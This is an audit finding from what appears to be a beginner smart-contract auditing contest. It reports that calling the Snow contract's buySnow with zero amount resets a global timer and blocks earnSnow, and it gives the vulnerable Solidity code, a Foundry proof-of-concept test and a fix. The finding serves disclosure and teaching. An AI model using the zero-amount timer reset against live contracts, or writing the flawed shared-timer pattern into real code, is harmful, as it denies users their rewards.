Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

`Snow::buySnow` function can update the s_earnTimer variable that maks `earnSnow` function Dos Attack

Root + Impact

Description

  • Attacker can call the buySnow function with parameter amount=0 always, so that the variable s_earnTimer will constantly be updated to block.timestamp

  • When a user want to call the earnSnowfunction, thes_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weekswill always be true and will revert, causing Dos attack.

    function buySnow(uint256 amount) external payable canFarmSnow {
    // @audit -check what if msg.value != 0 and msg.value != fee
    // @audit -high amount == 0 can block the earnSnow function
    if (msg.value == (s_buyFee * amount)) {
    _mint(msg.sender, amount);
    } else {
    i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
    _mint(msg.sender, amount);
    }
    @> s_earnTimer = block.timestamp;// update the s_earnTimer
    emit SnowBought(msg.sender, amount);
    }
    function earnSnow() external canFramSnow {
    // always revert
    @> if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) {
    revert S__Timer();
    }
    _mint(msg.sender, 1);
    s_earnTimer = block.timestamp;
    }

Risk

No body can use the earnSnowfunction

Likelihood:

  • high

Impact:

  • high

Proof of Concept


  1. Jerry can always call the buySnow with amount = 0 ,and update the s_earnTimer variable.

  2. Victory wants to earnSnow,but revert

function testCanDosAttack() public {
// jerry call the buySnow with amount = 0 ,and update the s_earnTimer variable.
vm.startPrank(jerry);
weth.approve(address(snow), 0);
snow.buySnow(0);
vm.stopPrank();
console2.log("Earn Timer: ", snow.gets_earnTimer());
vm.prank(victory);
vm.expectRevert();
snow.earnSnow();
vm.warp(block.timestamp + 1 weeks);
// jerry call the buySnow with amount = 0 ,and update the s_earnTimer variable.
vm.startPrank(jerry);
snow.buySnow{value: 0}(0);
vm.stopPrank();
console2.log("Earn Timer: ", snow.gets_earnTimer());
// victory wants to earnSnow,but revert
vm.prank(victory);
vm.expectRevert();
snow.earnSnow();
}

Recommended Mitigation

remove s_earnTimer = block.timestamp;

function buySnow(uint256 amount) external payable canFarmSnow {
// @audit -check what if msg.value != 0 and msg.value != fee
// @audit -high amount == 0 can block the earnSnow function
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
- s_earnTimer = block.timestamp;// update the s_earnTimer
emit SnowBought(msg.sender, amount);
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buying of snow resets global timer thus affecting earning of free snow

When buySnow is successfully called, the global timer is reset. This inadvertently affects the earning of snow as that particular action also depends on the global timer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.